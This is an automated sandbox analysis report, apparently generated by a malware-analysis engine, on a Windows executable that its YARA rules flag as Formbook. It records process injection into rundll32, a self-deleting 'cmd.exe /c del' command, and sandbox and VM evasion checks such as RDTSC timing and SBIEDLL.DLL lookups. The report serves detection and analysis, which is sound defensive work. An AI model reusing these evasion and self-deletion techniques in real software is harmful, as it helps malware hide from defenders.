Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0041C273
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0041BAA2
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_00408C5B
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_00408C60
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0041BC22
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0041CC24
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0041B4A6
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0041BD4F
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0041C501
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_00402D87
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_00402D90
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0041BDBD
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0041BF3C
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0041C7A5
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_00402FB0
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01942581
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0192D5E0
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0191F900
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01910D20
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01934120
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019E1D55
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0192B090
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019420A0
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0192841F
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019D1002
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0194EBB0
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01936E30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0495B090
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A120A8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_049720A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0495841F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A01002
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04972581
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0495D5E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0494F900
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A12D07
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04940D20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04964120
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A11D55
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A122AE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A12EF7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04966E30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0497EBB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A11FF1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_04A12B28
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0090B4A6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0090CC24
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_008F8C5B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_008F8C60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_008F2D87
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_008F2D90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0090C7A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_008F2FB0

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: String function: 0191B150 appears 32 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 0494B150 appears 35 times

Source: 457b22da_by_Libranalysis.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: 457b22da_by_Libranalysis.exe	Binary or memory string: OriginalFilename vs 457b22da_by_Libranalysis.exe
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237290926.0000000002791000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameSimpleUI.dll( vs 457b22da_by_Libranalysis.exe
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.238739853.0000000002CA0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameDynamicPartitionEnumeratorForIndexRangeAbstract.exeF vs 457b22da_by_Libranalysis.exe
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.238739853.0000000002CA0000.00000004.00000001.sdmp	Binary or memory string: l,\\StringFileInfo\\000004B0\\OriginalFilename vs 457b22da_by_Libranalysis.exe
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.238968916.00000000037E7000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameDSASignature.dll@ vs 457b22da_by_Libranalysis.exe
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.236001012.00000000009E8000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs 457b22da_by_Libranalysis.exe
Source: 457b22da_by_Libranalysis.exe, 00000004.00000002.277387221.0000000001B9F000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs 457b22da_by_Libranalysis.exe
Source: 457b22da_by_Libranalysis.exe, 00000004.00000000.234003452.0000000000E58000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameDynamicPartitionEnumeratorForIndexRangeAbstract.exeF vs 457b22da_by_Libranalysis.exe
Source: 457b22da_by_Libranalysis.exe	Binary or memory string: OriginalFilenameDynamicPartitionEnumeratorForIndexRangeAbstract.exeF vs 457b22da_by_Libranalysis.exe

Source: 457b22da_by_Libranalysis.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 00000009.00000002.481738454.00000000011E0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000002.481738454.00000000011E0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000002.478757286.00000000008F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000002.478757286.00000000008F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.276852950.0000000001400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.276852950.0000000001400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.238968916.00000000037E7000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.238968916.00000000037E7000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000002.480717659.0000000000D10000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000002.480717659.0000000000D10000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.276548151.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.276548151.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.276831846.00000000013D0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.276831846.00000000013D0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.457b22da_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 4.2.457b22da_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.457b22da_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 4.2.457b22da_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: 457b22da_by_Libranalysis.exe

Static PE information: Section: U#j;F_` ZLIB complexity 1.00031723159

Source: classification engine

Classification label: mal100.troj.evad.winEXE@7/1@12/8

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\457b22da_by_Libranalysis.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6084:120:WilError_01

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Windows\explorer.exe

Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe

Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237432147.00000000027E3000.00000004.00000001.sdmp	Binary or memory string: Select * from Clientes WHERE id=@id;;
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237432147.00000000027E3000.00000004.00000001.sdmp	Binary or memory string: Select * from Aluguel Erro ao listar Banco sql-Aluguel.INSERT INTO Aluguel VALUES(@clienteID, @data);
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237432147.00000000027E3000.00000004.00000001.sdmp	Binary or memory string: Select * from SecurityLogonType WHERE id=@id;
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237432147.00000000027E3000.00000004.00000001.sdmp	Binary or memory string: Select * from SecurityLogonType WHERE modelo=@modelo;
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237432147.00000000027E3000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO Itens_Aluguel VALUES(@aluguelID, @aviaoID, @validade);
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237432147.00000000027E3000.00000004.00000001.sdmp	Binary or memory string: Insert into Clientes values (@nome, @cpf, @rg, @cidade, @endereco, @uf, @telefone);
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237432147.00000000027E3000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO Aluguel VALUES(@clienteID, @data);
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237432147.00000000027E3000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO SecurityLogonType VALUES(@modelo, @fabricante, @ano, @cor);
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237432147.00000000027E3000.00000004.00000001.sdmp	Binary or memory string: Select * from SecurityLogonTypeErro ao listar Banco sql-SecurityLogonType,Select from SecurityLogonType WHERE id=@id;Select * from SecurityLogonType WHERE (modelo LIKE @modelo)

Source: 457b22da_by_Libranalysis.exe

ReversingLabs: Detection: 31%

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe

File read: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe:Zone.Identifier

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe 'C:\Users\user\Desktop\457b22da_by_Libranalysis.exe'
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process created: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe C:\Users\user\Desktop\457b22da_by_Libranalysis.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\457b22da_by_Libranalysis.exe'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process created: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe C:\Users\user\Desktop\457b22da_by_Libranalysis.exe
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\457b22da_by_Libranalysis.exe'

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: 457b22da_by_Libranalysis.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 457b22da_by_Libranalysis.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wntdll.pdbUGP source: 457b22da_by_Libranalysis.exe, 00000004.00000003.235743424.0000000001750000.00000004.00000001.sdmp, rundll32.exe, 00000009.00000002.484153846.0000000004A3F000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: 457b22da_by_Libranalysis.exe, rundll32.exe

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe

Unpacked PE file: 0.2.457b22da_by_Libranalysis.exe.250000.0.unpack U#j;F_`:EW;.text:ER;.rsrc:R;.reloc:R;Unknown_Section4:ER; vs Unknown_Section0:EW;Unknown_Section1:ER;Unknown_Section2:R;Unknown_Section3:R;Unknown_Section4:ER;

Source: 457b22da_by_Libranalysis.exe	Static PE information: section name: U#j;F_`
Source: 457b22da_by_Libranalysis.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_04BFE0D2 pushad ; ret
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 0_2_053E1F08 pushad ; iretd
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_004161E7 push edi; retf
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_004151B4 pushfd ; ret
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0041B3B5 push eax; ret
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0041B46C push eax; ret
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0041B402 push eax; ret
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0041B40B push eax; ret
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0041543B pushfd ; iretd
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_00415485 push edx; ret
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_00E3B9FA push ss; retf
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_00E38118 push FFFFFF8Fh; retf
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_00E3B346 push cs; retf
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_00E3BB44 push ds; retf
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_00E3BB56 push ds; retf
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_00E3BB32 push ds; retf
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_00E38485 push ds; ret
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_00E3ADE3 pushad ; retf
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_00E3B5F8 push cs; retf
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_00E3B5C2 push cs; retf
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_00E3AE02 pushad ; retf
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_00E3B610 push cs; retf
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_00E38FD4 push ds; ret
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0196D0D1 push ecx; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0499D0D1 push ecx; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_009051B4 pushfd ; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_009061E7 push edi; retf
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0090B3B5 push eax; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_00905485 push edx; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0090B402 push eax; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_0090B40B push eax; ret

Source: initial sample

Static PE information: section name: U#j;F_` entropy: 7.99977911602

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match	File source: 00000000.00000002.237432147.00000000027E3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 457b22da_by_Libranalysis.exe PID: 4120, type: MEMORY

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237432147.00000000027E3000.00000004.00000001.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237432147.00000000027E3000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	RDTSC instruction interceptor: First address: 00000000004085E4 second address: 00000000004085EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	RDTSC instruction interceptor: First address: 000000000040897E second address: 0000000000408984 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 00000000008F85E4 second address: 00000000008F85EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 00000000008F897E second address: 00000000008F8984 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe

Code function: 4_2_004088B0 rdtsc

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe TID: 5504	Thread sleep time: -104854s >= -30000s
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe TID: 5808	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe TID: 808	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\explorer.exe TID: 6460	Thread sleep time: -50000s >= -30000s

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Thread delayed: delay time: 104854
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Thread delayed: delay time: 922337203685477

Source: explorer.exe, 00000005.00000000.257996526.000000000871F000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000005.00000000.257996526.000000000871F000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000:
